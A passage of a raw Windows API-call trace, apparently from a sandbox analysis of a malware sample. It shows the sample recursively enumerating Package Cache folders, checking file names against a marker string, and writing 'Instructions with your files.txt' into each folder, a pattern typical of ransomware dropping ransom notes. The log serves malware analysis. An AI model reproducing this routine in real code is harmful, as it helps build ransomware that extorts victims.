[0126.375] GetProcessHeap () returned 0x810000
[0126.375] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.375] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.375] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Instructions with your files.txt") returned 115
[0126.375] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.375] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.379] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.380] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.380] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.380] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.380] CloseHandle (hObject=0x10c) returned 1
[0126.380] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.380] GetProcessHeap () returned 0x810000
[0126.380] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.380] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1
[0126.380] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 71
[0126.380] GetProcessHeap () returned 0x810000
[0126.380] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.380] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned 73
[0126.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.381] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\.") returned 73
[0126.381] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.381] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\..") returned 74
[0126.381] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0126.381] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 81
[0126.381] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0126.381] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
[0126.381] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 88
[0126.381] StrStrIW (lpFirst="vcredist_x64.exe", lpSrch="SDfghjkl") returned 0x0
[0126.381] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
[0126.381] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Instructions with your files.txt") returned 104
[0126.381] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.383] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.384] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.384] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.384] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.384] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.384] CloseHandle (hObject=0x10c) returned 1
[0126.384] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.384] GetProcessHeap () returned 0x810000
[0126.384] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.384] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1
[0126.384] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 83
[0126.384] GetProcessHeap () returned 0x810000
[0126.384] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.384] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned 85
[0126.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.385] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\.") returned 85
[0126.385] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.385] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\..") returned 86
[0126.385] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.385] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned 92
[0126.386] GetProcessHeap () returned 0x810000
[0126.386] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.386] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned 94
[0126.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.386] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\.") returned 94
[0126.386] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.386] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\..") returned 95
[0126.386] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0126.387] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned 113
[0126.387] GetProcessHeap () returned 0x810000
[0126.387] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.387] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned 115
[0126.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.387] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\.") returned 115
[0126.387] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.387] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\..") returned 116
[0126.387] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e8b00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd15e8b00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd15e8b00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.387] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 122
[0126.387] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.387] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.387] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 139
[0126.387] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0126.387] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.387] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 146
[0126.387] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.390] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.391] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.391] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.391] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.391] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.391] CloseHandle (hObject=0x114) returned 1
[0126.391] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.391] GetProcessHeap () returned 0x810000
[0126.392] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0126.392] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0126.392] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Instructions with your files.txt") returned 125
[0126.392] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.392] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.393] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.393] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.393] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.393] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.393] CloseHandle (hObject=0x110) returned 1
[0126.393] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.393] GetProcessHeap () returned 0x810000
